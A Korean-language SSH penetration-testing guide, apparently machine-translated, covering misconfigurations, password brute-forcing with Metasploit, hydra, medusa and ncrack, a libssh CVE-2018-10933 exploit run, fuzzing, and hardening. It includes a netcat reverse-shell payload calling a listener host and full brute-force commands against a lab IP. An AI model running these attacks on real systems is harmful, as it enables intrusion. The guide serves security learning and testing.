SSH 서비스 침투 테스트 이용 지 북

22185 단어
0x 01 SSH 와 SFTP 는 무엇 입 니까?
SSH 는 안전 하지 않 은 네트워크 를 통 해 안전하게 네트워크 서 비 스 를 실행 할 수 있 는 안전 한 원 격 셸 프로 토 콜 이다.기본 SSH 포트 는 22 로 보통 인터넷 이나 인 트 라 넷 의 서버 에서 열 린 상 태 를 볼 수 있 습 니 다.
SFTP 는 SSH 를 통 해 파일 을 전송 하 는 데 사용 되 는 SSH 파일 전송 프로 토 콜 로, 대부분의 SSH 구현 도 SFTP 를 지원 한다.
0x 02 SSH 서버/라 이브 러 리
가장 유명 하고 흔 한 SSH 서버 와 클 라 이언 트 는 openSSH (OpenBSD 보안 셸) 이다.그것 은 기능 이 강하 고 유지 가 잘 되 어 1999 년 에 처음으로 발표 되 었 다.따라서 이 는 윈도 10 이후 윈도 에 첨부 된 BSD, 리 눅 스 의 소프트웨어 중 윈도 에서 가장 흔히 볼 수 있 는 실현 이다.
그러나 openSSH 는 유일한 실현 이 아니 라 다른 소프트웨어 도 실현 된다.
SSH 서버:
· openSSH – OpenBSD SSH, Windows 10 부터 BSD, Linux 발행 판, Windows 에서 제공
· Dropbear – OpenWrt 메모리 와 프로세서 자원 이 적은 환경 에 추가 되 는 SSH 구현
· PuTTY – Windows 의 SSH 구현 은 일반적으로 클 라 이언 트 를 사용 하고 서버 를 거의 사용 하지 않 습 니 다.
· CopSSH – 윈도 버 전 OpenSSH 의 실현
SSH 라 이브 러 리 (서버 에서 구현):
· libssh -다 중 플랫폼 C 라 이브 러 리 는 SSHv 2 와 연 결 된 프로 토 콜 의 Python, Perl 과 ropensci 를 실현 합 니 다. ; 이것 은 KDE 에서 sftp 에 사용 되 며 GitHub 에서 git SSH 기본 구조 에 사 용 됩 니 다.
· wolfSSH –ANSI C 로 작 성 된 SSHv 2 서버 라 이브 러 리 는 내장 형, 기 열 RTOS 와 자원 이 제 한 된 환경 을 대상 으로 합 니 다.
· Apache MINA SSHD – 아파 치 SSHD 자바 라 이브 러 리 는 아파 치 MINA 기반
· paramiko – 파 이 썬 SSHv 2 프로 토 콜 라 이브 러 리
0x 03 일반적인 설정 오류
루트 계 정 로그 인
기본적으로 대부분의 SSH 서버 는 루트 로그 인 을 허용 하고 사용 하지 않 는 것 을 권장 합 니 다. 이 계 정의 증거 가 누설 되면 공격 자 는 직접 관리 특권 을 얻 고 공격 자가 이 계 정 을 폭력 적 으로 공격 할 수 있 기 때 문 입 니 다.
openSSH 의 루트 로그 인 을 사용 하지 않 는 방법:
1. SSH 서버 설정 sudoedit/etc/ssh/sshd 편집config
2. 변경\# PermitRootLogin yes 성 PermitRootLogin no
3. 설정 변경 진행: sudo systemctl daemon - reload
4. SSH 서버 sudo systemctl 다시 시작 sshd
SFTP 명령 실행
또 다른 일반적인 SSH 오류 설정 은 보통 SFTP 설정 에 나타 납 니 다.대부분의 경우 SFTP 서버 를 만 들 때 관리 자 는 컴퓨터 에서 원 격 Shell 을 얻 지 않 고 SFTP 접근 권한 을 가지 고 파일 을 공유 하 기 를 원 합 니 다.따라서 사용 자 를 만 들 고 자리 표시 자 셸 (예 를 들 어/usr/bin/nologin 또는/usr/bin/false) 을 할당 하 며 chroot 를 사용 하면 셸 이 전체 파일 시스템 에 접근 하거나 남용 되 는 것 을 피 할 수 있다 고 생각 합 니 다.그러나 이것 은 잘못된 것 입 니 다. 사용 자 는 인증 후 즉시 명령 을 실행 하 라 고 요구 한 다음 기본 명령 이나 셸 프로그램 을 실행 할 수 있 습 니 다.따라서 셸 접근 을 거부 하 는 자리 표시 자 셸 을 돌아 가 려 면 다음 작업 을 수행 하면 명령 (예:/bin/bash) 을 실행 하 라 고 요구 할 수 있 습 니 다.
 $ ssh -v [email protected] id
 ...
 Password:
 debug1: Authentication succeeded (keyboard-interactive).
 Authenticated to 192.168.1.94 ([192.168.1.94]:22).
 debug1: channel 0: new [client-session]
 debug1: Requesting [email protected]
 debug1: Entering interactive session.
 debug1: pledge: network
 debug1: client_input_global_request: rtype [email protected] want_reply 0
 debug1: Sending command: id
 debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
 debug1: client_input_channel_req: channel 0 rtype [email protected] reply 0
 uid=1000(noraj) gid=100(users) groups=100(users)
 debug1: channel 0: free: client-session, nchannels 1
 Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
 Bytes per second: sent 43133.4, received 44349.5
 debug1: Exit status 0
 
 $ ssh [email protected] /bin/bash

이것 은 사용자 의 보안 SFTP 설정 (/etc/ssh/sshd config – openSSH) 의 noraj 예제 입 니 다.
 Match User noraj
         ChrootDirectory %h
         ForceCommand internal-sftp
         AllowTcpForwarding no
         PermitTunnel no
         X11Forwarding no
         PermitTTY no

이 설정 은 SFTP 만 허용 합 니 다. 명령 을 강제로 시작 하고 TTY 접근 을 사용 하지 않 으 면 셸 프로그램 접근 을 사용 하지 않 습 니 다. 모든 종류의 포트 전송 이나 터널 을 사용 하지 않 을 수도 있 습 니 다.
인증 방식
높 은 보안 환경 에서 일반적인 방법 은 키 나 두 가지 요소 에 기반 한 인증 만 사용 하 는 것 이지 간단 한 요소 암호 에 기반 한 인증 이 아 닙 니 다.그러나 약 한 인증 방법 을 사용 하지 않 고 더 강 한 인증 방법 을 사용 합 니 다.일반적인 경우 publickey openSSH 설정 을 사용 하고 password 를 사용 하지 않 는 대신 기본 방법 으로 설정 합 니 다.따라서 SSH 클 라 이언 트 의 상세 한 모드 를 사용 하면 공격 자 는 비교적 약 한 로그 인 방법 을 사용 할 수 있 습 니 다.
 $ ssh -v 192.168.1.94
 OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
 ...
 debug1: Authentications that can continue: publickey,password,keyboard-interactive

예 를 들 어 인증 실패 제한 이 설정 되 어 있 고 더 이상 암호 화 방법 을 사용 할 기회 가 없다 면 이 PreferredAuthentications 옵션 을 사용 하여 이 방법 을 강제로 사용 할 수 있 습 니 다.
 $ ssh -v 192.168.1.94 -o PreferredAuthentications=password
 ...
 debug1: Next authentication method: password

SSH 서버 설정 이 필요 한 지 확인 하고 원 하 는 방법 만 권한 을 수 여 했 는 지 확인 합 니 다.클 라 이언 트 에서 상세 한 모드 를 사용 하면 설정 의 유효성 을 볼 수 있 습 니 다.
0x 04 공격 시범
현재, 우 리 는 일부 SSH 서버 에서 이 공격 예 시 를 복사 할 수 있 는 공격 예 시 를 볼 수 있 습 니 다.
암호 폭파
현재, 나 는 네 개의 도 구 를 사용 하여 metasploit 프레임 워 크, hydra, medusa 와 ncrack 를 통 해 암호 사전 이 있 는 SSH 사용자 암 호 를 폭력 적 으로 풀 것 이다.
모든 상황 에서 우 리 는 기 계 를 192.168.1.94 포트 22 에 잠 그 고 사용자 noraj 의 비밀번호 만 폭력 적 으로 풀 었 다.
인자/옵션 을 모 르 신다 면 아래 에 제 시 된 도움말 메 시 지 를 읽 으 십시오.
Metasploit
Metasploit 사용 하기:
 $ msf5 > search ssh
 
 Matching Modules
 ================
 
    #   Name                                                        Disclosure Date  Rank       Check  Description
    -   ----                                                        ---------------  ----       -----  -----------
 ...
    17  auxiliary/scanner/ssh/ssh_login                                              normal     Yes    SSH Login Check Scanner
 ...
 msf5 > use 17
 msf5 auxiliary(scanner/ssh/ssh_login) > show options
 
 Module options (auxiliary/scanner/ssh/ssh_login):
 
    Name              Current Setting  Required  Description
    ----              ---------------  --------  -----------
    BLANK_PASSWORDS   false            no        Try blank passwords for all users
    BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
    DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
    DB_ALL_PASS       false            no        Add all passwords in the current database to the list
    DB_ALL_USERS      false            no        Add all users in the current database to the list
    PASSWORD                           no        A specific password to authenticate with
    PASS_FILE                          no        File containing passwords, one per line
    RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
    RPORT             22               yes       The target port
    STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
    THREADS           1                yes       The number of concurrent threads (max one per host)
    USERNAME                           no        A specific username to authenticate as
    USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
    USER_AS_PASS      false            no        Try the username as the password for all users
    USER_FILE                          no        File containing usernames, one per line
    VERBOSE           false            yes       Whether to print output for all attempts
 
 msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /usr/share/wordlists/password/rockyou.txt
 PASS_FILE => /usr/share/wordlists/password/rockyou.txt
 msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.1.94
 RHOSTS => 192.168.1.94
 msf5 auxiliary(scanner/ssh/ssh_login) > set THREADS 10
 THREADS => 10
 msf5 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
 STOP_ON_SUCCESS => true
 msf5 auxiliary(scanner/ssh/ssh_login) > set username noraj
 username => noraj
 msf5 auxiliary(scanner/ssh/ssh_login) > run
 
 [+] 192.168.1.94:22 - Success: 'noraj:noraj' ''
 [*] Command shell session 1 opened (192.168.1.83:37291 -> 192.168.1.94:22) at 2020-01-02 21:33:33 +0100
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed

hydra
다운로드 주소:https://github.com/vanhauser-thc/thc-hydra
 $ hydra -l noraj -P /usr/share/wordlists/password/rockyou.txt -e s ssh://192.168.1.94
 Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
 
 Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-01-02 21:44:28
 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
 [DATA] attacking ssh://192.168.1.94:22/
 [22][ssh] host: 192.168.1.94   login: noraj   password: noraj
 1 of 1 target successfully completed, 1 valid password found
 Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-01-02 21:44:33

도움말 메시지 발췌 문:
   -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
   -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
   -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
   service   the service to crack (see below for supported protocols)

medusa
다운로드 주소:http://foofus.net/goons/jmk/medusa/medusa.html
 $ medusa -h 192.168.1.94 -u noraj -P /usr/share/wordlists/password/rockyou.txt -e s -M ssh
 Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks  
 ACCOUNT CHECK: [ssh] Host: 192.168.1.94 (1 of 1, 0 complete) User: noraj (1 of 1, 0 complete) Password: noraj (1 of 14344391 complete)
 ACCOUNT FOUND: [ssh] Host: 192.168.1.94 User: noraj Password: noraj [SUCCESS]

도움말 메시지 발췌 문:
   -h [TEXT]    : Target hostname or IP address
   -u [TEXT]    : Username to test
   -P [FILE]    : File containing passwords to test
   -e [n/s/ns]  : Additional password checks ([n] No Password, [s] Password = Username)
   -M [TEXT]    : Name of the module to execute (without the .mod extension)

ncrack
다운로드 주소:https://github.com/nmap/ncrack
 $ ncrack --user noraj -P /usr/share/wordlists/password/rockyou.txt ssh://192.168.1.94
 Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-01-02 21:50 CET
 
 Discovered credentials for ssh on 192.168.1.94 22/tcp:
 192.168.1.94 22/tcp ssh: 'noraj' 'noraj'
 
 Ncrack done: 1 service scanned in 3.00 seconds.
 
 Ncrack finished.

도움말 메시지 발췌 문:
   -P : password file
   --user : comma-separated username list

빈틈 활용 - LibSSH RCE
CVE - 2018 - 10933 은 libssh 라 이브 러 리 의 구멍 을 예 로 들 수 있 습 니 다. 이 구멍 은 인증 을 돌아 서 권한 이 부여 되 지 않 은 접근 을 허용 합 니 다.
libssh 0.6 및 더 높 은 버 전 은 서버 코드 에서 인증 이 구멍 을 뚫 었 습 니 다.서버 에 SSH2 제공MSG_USERAUTH_서버 대신 인증 을 원 하 는 SSH 2 SUCCESS 메시지MSG_USERAUTH_리 퀴 스 트 에 따 르 면 공격 자 는 아무런 증거 없 이 인증 에 성공 할 수 있다.
 https://www.libssh.org/security/advisories/CVE-2018-10933.txt

공격 하기 쉬 운 버 전 을 찾 았 을 때 nmap 는 다음 과 같은 내용 을 보아 야 합 니 다.
 22/tcp  open     ssh      libssh 0.8.3 (protocol 2.0)

searchsploit (로 컬 탐색 Exploit - DB 에 사용 할 도구) 는 libssh 에 사용 할 수 있 는 기 존 구멍 을 보 여 줍 니 다.
 searchsploit libssh
 -------------------------------------------------------------------------------------------- ----------------------------------------
  Exploit Title                                                                              |  Path
                                                                                             | (/usr/share/exploitdb/)
 -------------------------------------------------------------------------------------------- ----------------------------------------
 LibSSH 0.7.6 / 0.8.4 - Unauthorized Access                                                  | exploits/linux/remote/46307.py
 libSSH - Authentication Bypass                                                              | exploits/linux/remote/45638.py
 -------------------------------------------------------------------------------------------- ----------------------------------------
 Shellcodes: No Result

따라서 우 리 는 구멍 을 이용 해 프로그램 이 정상적으로 작 동 하 는 지 확인 하기 위해 명령 을 실행 할 수 있다.
 $ python /usr/share/exploitdb/exploits/linux/remote/46307.py 192.168.1.94 22 id
 uid=0(root) gid=0(root) groups=0(root)

명령 만 실행 하 는 것 이 아니 라 역방향 Shell 을 실행 해 볼 수 있 습 니 다.
우선, 우 리 는 기계 에서 모니터 를 작 동 합 니 다: sudo ncat - nlp 80.
그리고 구멍 이용 중 sh 역방향 셸 paylaod 를 사용 합 니 다.
 python /usr/share/exploitdb/exploits/linux/remote/46307.py 192.168.1.94 22 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 80 >/tmp/f"

퍼 지 테스트
퍼 지 테스트 가 복잡 하기 때문에 저 는 두 가지 방법 만 중점적으로 소개 합 니 다.
· 통용 과 자동화 방법.
· 사용자 정의 와 수 동 방법.
통용 과 자동화 방법
sshfuzz. pl 과 같은 스 크 립 트 를 사용 하여 실시 간 SSH 서버 를 자동 으로 모호 하 게 테스트 할 수 있 습 니 다.
간단 한 장점 을 가지 고 있 지만 목적 성 이 강하 지 않 아 많은 시간 을 들 이 고 많은 결 과 를 놓 칠 것 이다.
의존 스 크 립 트 를 설치 하고 시작 하 는 것 은 이 두 줄 을 작성 하 는 것 처럼 간단 합 니 다.
 $ cpan Net::SSH2
 $ ./sshfuzz.pl -H 192.168.1.94 -P 22 -u noraj -p noraj

또 다른 실시 간 SSH 서버 에 적용 되 는 자동화 방법 은 metasploit 모듈 auxiliary/fuzzers/ssh/ssh 를 사용 하 는 것 입 니 다.version_2:
 msf5 > use auxiliary/fuzzers/ssh/ssh_version_2
 msf5 auxiliary(fuzzers/ssh/ssh_version_2) > set RHOSTS 192.168.1.94
 msf5 auxiliary(fuzzers/ssh/ssh_version_2) > run
 [*] Running module against 192.168.1.94
 
 [*] 192.168.1.94:22 - Fuzzing with iteration 100 using fuzzer_string_giant
 [*] 192.168.1.94:22 - Fuzzing with iteration 200 using fuzzer_string_giant
 [*] 192.168.1.94:22 - Fuzzing with iteration 300 using fuzzer_string_long
 [*] 192.168.1.94:22 - Fuzzing with iteration 400 using fuzzer_string_long
 [*] 192.168.1.94:22 - Fuzzing with iteration 500 using fuzzer_string_paths_giant
 [*] 192.168.1.94:22 - Fuzzing with iteration 600 using fuzzer_string_paths_giant
 [*] 192.168.1.94:22 - Fuzzing with iteration 700 using fuzzer_string_paths_giant
 [*] 192.168.1.94:22 - Fuzzing with iteration 800 using fuzzer_string_paths_giant
 [*] 192.168.1.94:22 - Fuzzing with iteration 900 using fuzzer_string_paths_giant
 [*] 192.168.1.94:22 - Fuzzing with iteration 1000 using fuzzer_string_paths_giant
 ...

이 공구 들 을 사용 하 는 것 은 매우 쉽 지만, 이용 할 수 있 는 물건 을 찾 을 기 회 는 매우 적다.
사용자 정의 및 수 동 방법
더 중요 한 결 과 를 찾 고 목표 실현 에 익숙해 지 려 면 수 동 방법 을 선택 하 세 요.
이곳 의 기술 은 자체 적 으로 실행 되 는 SSH 서버 에서 고급 유 니 버 설 fuzy 를 사용 하고 소스 코드 를 수정 하여 테스트 실행 시간 을 최적화 하 는 것 이다.따라서 모델 fuzy 를 설정 하고 목 표를 설정 하고 구축 하 며 붕 괴 를 감지 하고 자원 집약 형 기능 을 사용 하여 fuzy 를 가속 화하 고 커버 범 위 를 증가 하 며 입력 테스트 사례 와 사전 을 만 들 려 면 SSH 프로 토 콜 과 그 실현 을 깊이 이해 해 야 합 니 다.
베 가 드 노 썸 입 니 다. AFL 을 사용 하여 OpenSSH 데 몬 을 Fuzzing 하 는 예제 입 니 다.
 http://www.vegardno.net/2017/03/fuzzing-openssh-daemon-using-afl.html

0x 05 관련 도구 자원
“ HASSH ”네트워크 지문 인식 기준 으로 특정 클 라 이언 트 와 서버 SSH 를 표시 하 는 데 사용 할 수 있 습 니 다. 지문 은 MD5 지문 으로 쉽게 저장 되 고 검색 되 며 공유 할 수 있 습 니 다.
HASSH 는 팀 이 폭력 이나 증거 채 우기 시도, 데이터 유출, 네트워크 발견 과 가로 이동 등 을 탐지, 통제, 조사 하 는 데 도움 을 줄 수 있 는 표준 이다.
ssh - audit 는 SSH 서버 코드 감사 도구 (키 교환, 암호 화, mac, 압축 정보, 호환성, 안전성 등) 입 니 다.
전문 적 인 침투 테스트 인원 에 게 목표 버 전 을 신속하게 검 측 하고 원 격 서버 에서 사용 할 수 있 는 알고리즘 을 이해 하여 고객 에 게 알고리즘 을 제공 하 는 것 이 매우 편리 하 다.
사용 예시:
 $ ssh-audit 192.168.1.94
 # general
 (gen) banner: SSH-2.0-OpenSSH_7.9
 (gen) software: OpenSSH 7.9
 (gen) compatibility: OpenSSH 7.3+, Dropbear SSH 2016.73+
 (gen) compression: enabled ([email protected])
 
 # key exchange algorithms
 (kex) curve25519-sha256                     -- [warn] unknown algorithm
 (kex) [email protected]          -- [info] available since OpenSSH 6.5, Dropbear SSH 2013.62
 (kex) ecdh-sha2-nistp256                    -- [fail] using weak elliptic curves
                                             `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
 (kex) ecdh-sha2-nistp384                    -- [fail] using weak elliptic curves
                                             `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
 (kex) ecdh-sha2-nistp521                    -- [fail] using weak elliptic curves
                                             `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
 (kex) diffie-hellman-group-exchange-sha256  -- [warn] using custom size modulus (possibly weak)
                                             `- [info] available since OpenSSH 4.4
 (kex) diffie-hellman-group16-sha512         -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
 (kex) diffie-hellman-group18-sha512         -- [info] available since OpenSSH 7.3
 (kex) diffie-hellman-group14-sha256         -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
 (kex) diffie-hellman-group14-sha1           -- [warn] using weak hashing algorithm
                                             `- [info] available since OpenSSH 3.9, Dropbear SSH 0.53
 
 # host-key algorithms
 (key) rsa-sha2-512                          -- [info] available since OpenSSH 7.2
 (key) rsa-sha2-256                          -- [info] available since OpenSSH 7.2
 (key) ssh-rsa                               -- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28
 (key) ecdsa-sha2-nistp256                   -- [fail] using weak elliptic curves
                                             `- [warn] using weak random number generator could reveal the key
                                             `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
 (key) ssh-ed25519                           -- [info] available since OpenSSH 6.5
 
 # encryption algorithms (ciphers)
 (enc) [email protected]         -- [info] available since OpenSSH 6.5
                                             `- [info] default cipher since OpenSSH 6.9.
 (enc) aes128-ctr                            -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
 (enc) aes192-ctr                            -- [info] available since OpenSSH 3.7
 (enc) aes256-ctr                            -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
 (enc) [email protected]                -- [info] available since OpenSSH 6.2
 (enc) [email protected]                -- [info] available since OpenSSH 6.2
 
 # message authentication code algorithms
 (mac) [email protected]               -- [warn] using small 64-bit tag size
                                             `- [info] available since OpenSSH 6.2
 (mac) [email protected]              -- [info] available since OpenSSH 6.2
 (mac) [email protected]         -- [info] available since OpenSSH 6.2
 (mac) [email protected]         -- [info] available since OpenSSH 6.2
 (mac) [email protected]             -- [warn] using weak hashing algorithm
                                             `- [info] available since OpenSSH 6.2
 (mac) [email protected]                   -- [warn] using encrypt-and-MAC mode
                                             `- [warn] using small 64-bit tag size
                                             `- [info] available since OpenSSH 4.7
 (mac) [email protected]                  -- [warn] using encrypt-and-MAC mode
                                             `- [info] available since OpenSSH 6.2
 (mac) hmac-sha2-256                         -- [warn] using encrypt-and-MAC mode
                                             `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
 (mac) hmac-sha2-512                         -- [warn] using encrypt-and-MAC mode
                                             `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
 (mac) hmac-sha1                             -- [warn] using encrypt-and-MAC mode
                                             `- [warn] using weak hashing algorithm
                                             `- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28
 
 # algorithm recommendations (for OpenSSH 7.9)
 (rec) -ecdh-sha2-nistp521                   -- kex algorithm to remove 
 (rec) -ecdh-sha2-nistp384                   -- kex algorithm to remove 
 (rec) -diffie-hellman-group14-sha1          -- kex algorithm to remove 
 (rec) -ecdh-sha2-nistp256                   -- kex algorithm to remove 
 (rec) -diffie-hellman-group-exchange-sha256 -- kex algorithm to remove 
 (rec) -ecdsa-sha2-nistp256                  -- key algorithm to remove 
 (rec) -hmac-sha2-512                        -- mac algorithm to remove 
 (rec) [email protected]                 -- mac algorithm to remove 
 (rec) -hmac-sha2-256                        -- mac algorithm to remove 
 (rec) [email protected]                  -- mac algorithm to remove 
 (rec) -hmac-sha1                            -- mac algorithm to remove 
 (rec) [email protected]            -- mac algorithm to remove 
 (rec) [email protected]              -- mac algorithm to remove

SSH 의 특정한 구멍 이용 개발 에 실제 존재 하 는 것 은 많 지 않 지만 같은 일반적인 추세 도 많이 적용 된다. 많은 책 과 글 은 0 - day 구멍 기반 스 택 과 쌓 인 구멍 이용 개발 을 상세 하 게 소개 하 였 으 며, 그 중 일 부 는 자원 페이지 의 해당 부분 에 대해 소개 하 였 다.
 [Corelan](https://www.corelan.be/)
 https://community.turgensec.com/cyber-security-books/#Exploit_Development_Books
 Shellcoders黑客手册:https://www.amazon.com/Web-Application-Hackers-Handbook-Exploiting/dp/1118026470/ref=as_li_ss_tl?&hvadid=310913487979&hvpos=1o1&hvnetw=g&hvrand=8783653603300561519&hvpone=&hvptwo=&hvqmt=&hvdev=c&hvdvcmdl=&hvlocint=&hvlocphy=9045957&hvtargid=pla-490871754939&psc=1&th=1&psc=1&linkCode=ll1&tag=turgen-20&linkId=07fb8b8c94849821380f9f4e955ec549&language=en_US

최근 가장 유명한 원 격 SSH 구멍 을 보 여 줍 니 다.
· https://www.exploit-db.com/exploits/18557〜Sysax 5.53 – SSH "사용자 이름"원 격 버퍼 넘 침 구멍
· https://www.exploit-db.com/exploits/45001〜OpenSSH <6.6 SFTP – 명령 실행 구멍
· https://www.exploit-db.com/exploits/45233〜OpenSSH 2.3 < 7.7 – 사용자 이름 매 거 진 빈틈
· https://www.exploit-db.com/exploits/46516〜OpenSSH SCP 클 라 이언 트 - 임의의 파일 에 쓰기 구멍
0x 06 SSH 안전 준칙
Mozilla 는 이 참고 지침 에서 OpenSSH 서버 의 안전 을 보호 하기 위해 조언 을 했다.
 https://infosec.mozilla.org/guidelines/openssh
 https://bettercrypto.org/#ssh
 https://github.com/BetterCrypto/Applied-Crypto-Hardening

보안 SSH 설정 에 대한 최신 최선 의 실천 도 Applied Crypto Hardening 의 지침 에서 현재 OpenSSH, Cisco ASA, Cisco IOS 에 설정 예 시 를 제공 합 니 다.

좋은 웹페이지 즐겨찾기